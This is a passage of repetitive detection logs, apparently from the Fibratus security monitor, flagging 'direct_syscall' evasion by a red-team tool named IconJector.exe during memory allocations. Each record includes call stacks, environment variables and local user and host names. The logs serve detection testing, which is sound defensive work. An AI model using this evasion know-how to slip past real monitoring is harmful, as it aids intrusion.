C:\Windows\System32\windows.storage.dll!CShellItem_CreateInstance|0x7ffaf1c66a18 C:\Windows\System32\windows.storage.dll!SHBindToObject|0x7ffaf1ce63b5 C:\Windows\System32\windows.storage.dll!IsLibraryPolicyEnabled|0x7ffaf1c91e03 C:\Windows\System32\windows.storage.dll!SHGetNameFromIDList|0x7ffaf1d84807 C:\Windows\System32\windows.storage.dll!SHEvaluateSystemCommandTemplate|0x7ffaf2182f5c C:\Windows\System32\windows.storage.dll!RealShellExecuteW|0x7ffaf217ffdf C:\Windows\System32\windows.storage.dll!SHGetSettings|0x7ffaf680781a C:\Windows\System32\SHCore.dll!Ordinal234|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:05:28+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 817343 + Pid: 4164 + Tid: 14104 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:05:27.1206128 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 29559fa000, exe➜ C:\Fibratus\redteam\IconJector\bin\IconJector.exe, name➜ IconJector.exe, page_type➜ PRIVATE, pid➜ 4164, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 4164 + Ppid: 16112 + Name: IconJector.exe + Parent name: explorer.exe + Cmdline: "C:\Fibratus\redteam\IconJector\bin\IconJector.exe" + Parent cmdline: C:\WINDOWS\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding + Exe: C:\Fibratus\redteam\IconJector\bin\IconJector.exe + Cwd: C:\Fibratus\redteam\IconJector\bin\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\IconJector\bin\IconJector.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffaf4973f22 C:\Windows\System32\KernelBase.dll!InternalLcidToName|0x7ffaf4973e53 C:\Windows\System32\KernelBase.dll!InternalLcidToName|0x7ffaf4972977 C:\Windows\System32\KernelBase.dll!InternalLcidToName|0x7ffaf49a626a C:\Windows\System32\KernelBase.dll!GetLocaleInfoW|0x7ffaf6806bfd C:\Windows\System32\SHCore.dll!Ordinal188|0x7ffaf1cc2e19 C:\Windows\System32\windows.storage.dll!SHChangeNotifyRegister|0x7ffaf1cc2ccd C:\Windows\System32\windows.storage.dll!SHChangeNotifyRegister|0x7ffaf1cc4aff C:\Windows\System32\windows.storage.dll!SHChangeNotifyRegisterThread|0x7ffaf632b2aa C:\Windows\System32\shell32.dll!Ordinal888|0x7ffaf632b1cd C:\Windows\System32\shell32.dll!Ordinal888|0x7ffaf67cab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffaf67ca8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffaf67c9c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:05:28+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 817417 + Pid: 4164 + Tid: 14104 + Type: VirtualAlloc + CPU: 6 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:05:27.1334506 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 29559f8000, exe➜ C:\Fibratus\redteam\IconJector\bin\IconJector.exe, name➜ IconJector.exe, page_type➜ PRIVATE, pid➜ 4164, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 4164 + Ppid: 16112 + Name: IconJector.exe + Parent name: explorer.exe + Cmdline: "C:\Fibratus\redteam\IconJector\bin\IconJector.exe" + Parent cmdline: C:\WINDOWS\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding + Exe: C:\Fibratus\redteam\IconJector\bin\IconJector.exe + Cwd: C:\Fibratus\redteam\IconJector\bin\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\IconJector\bin\IconJector.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffaf1f60bae C:\Windows\System32\windows.storage.dll!Ordinal844|0x7ffaf1f64fcf C:\Windows\System32\windows.storage.dll!Ordinal844|0x7ffaf1c0d65b C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffaf1c0e578 C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffaf1d111da C:\Windows\System32\windows.storage.dll!STORAGE_CreateStorageItemFromShellItem_FullTrustCaller_ForPackage|0x7ffaf20d432b C:\Windows\System32\windows.storage.dll!SHCreateShellItemArrayWithFolderParent|0x7ffaf1dbd7e0 C:\Windows\System32\windows.storage.dll!CCategoryProvider_CreateWithParams|0x7ffaf1d9dc69 C:\Windows\System32\windows.storage.dll!Ordinal740|0x7ffaf1c0d8e0 C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffaf1c7bdc7 C:\Windows\System32\windows.storage.dll!SHExtCoCreateInstanceString|0x7ffaf1c49015 C:\Windows\System32\windows.storage.dll!CShellItem_CreateInstance|0x7ffaf1c491c1 C:\Windows\System32\windows.storage.dll!CShellItem_CreateInstance|0x7ffaf1c66a18 C:\Windows\System32\windows.storage.dll!SHBindToObject|0x7ffaf1ce63b5 C:\Windows\System32\windows.storage.dll!IsLibraryPolicyEnabled|0x7ffaf1c91e03 C:\Windows\System32\windows.storage.dll!SHGetNameFromIDList|0x7ffaf632b3e0 C:\Windows\System32\shell32.dll!Ordinal888|0x7ffaf632b6b8 C:\Windows\System32\shell32.dll!SHOpenPropSheetW|0x7ffaf632b2e7 C:\Windows\System32\shell32.dll!Ordinal888|0x7ffaf632b1cd C:\Windows\System32\shell32.dll!Ordinal888|0x7ffaf67cab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffaf67ca8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffaf67c9c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:05:28+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 818491 + Pid: 4164 + Tid: 14104 + Type: VirtualAlloc + CPU: 6 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:05:27.2075778 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 29559f7000, exe➜ C:\Fibratus\redteam\IconJector\bin\IconJector.exe, name➜ IconJector.exe, page_type➜ PRIVATE, pid➜ 4164, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 4164 + Ppid: 16112 + Name: IconJector.exe + Parent name: explorer.exe + Cmdline: "C:\Fibratus\redteam\IconJector\bin\IconJector.exe" + Parent cmdline: C:\WINDOWS\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding + Exe: C:\Fibratus\redteam\IconJector\bin\IconJector.exe + Cwd: C:\Fibratus\redteam\IconJector\bin\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\IconJector\bin\IconJector.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffaf4959b27 C:\Windows\System32\KernelBase.dll!MultiByteToWideChar|0x7ffaf67ebf05 C:\Windows\System32\SHCore.dll!SHAnsiToUnicode|0x7ffaf1c0b2c3 C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffaf1d1124b C:\Windows\System32\windows.storage.dll!STORAGE_CreateStorageItemFromShellItem_FullTrustCaller_ForPackage|0x7ffaf20d432b C:\Windows\System32\windows.storage.dll!SHCreateShellItemArrayWithFolderParent|0x7ffaf1dbd7e0 C:\Windows\System32\windows.storage.dll!CCategoryProvider_CreateWithParams|0x7ffaf1d9dc69 C:\Windows\System32\windows.storage.dll!Ordinal740|0x7ffaf1c0d8e0 C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffaf1c7bdc7 C:\Windows\System32\windows.storage.dll!SHExtCoCreateInstanceString|0x7ffaf1c49015 C:\Windows\System32\windows.storage.dll!CShellItem_CreateInstance|0x7ffaf1c491c1 C:\Windows\System32\windows.storage.dll!CShellItem_CreateInstance|0x7ffaf1c62adf C:\Windows\System32\windows.storage.dll!SHBindToParent|0x7ffaf1ce6237 C:\Windows\System32\windows.storage.dll!IsLibraryPolicyEnabled|0x7ffaf1c91e03 C:\Windows\System32\windows.storage.dll!SHGetNameFromIDList|0x7ffaf624988f C:\Windows\System32\shell32.dll!Ordinal874|0x7ffaf61a957b C:\Windows\System32\shell32.dll!SHELL32_CallFileCopyHooks|0x7ffaf63bb19c C:\Windows\System32\shell32.dll!Ordinal859|0x7ffaf612fbee C:\Windows\System32\shell32.dll!SHELL32_GetIconOverlayManager|0x7ffaf632b854 C:\Windows\System32\shell32.dll!SHOpenPropSheetW|0x7ffaf632b2e7 C:\Windows\System32\shell32.dll!Ordinal888|0x7ffaf632b1cd C:\Windows\System32\shell32.dll!Ordinal888|0x7ffaf67cab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffaf67ca8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffaf67c9c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:05:29+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 824364 + Pid: 4164 + Tid: 9416 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:05:27.455813 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 2955afa000, exe➜ C:\Fibratus\redteam\IconJector\bin\IconJector.exe, name➜ IconJector.exe, pid➜ 4164, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 4164 + Ppid: 16112 + Name: IconJector.exe + Parent name: explorer.exe + Cmdline: "C:\Fibratus\redteam\IconJector\bin\IconJector.exe" + Parent cmdline: C:\WINDOWS\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding + Exe: C:\Fibratus\redteam\IconJector\bin\IconJector.exe + Cwd: C:\Fibratus\redteam\IconJector\bin\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\IconJector\bin\IconJector.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf 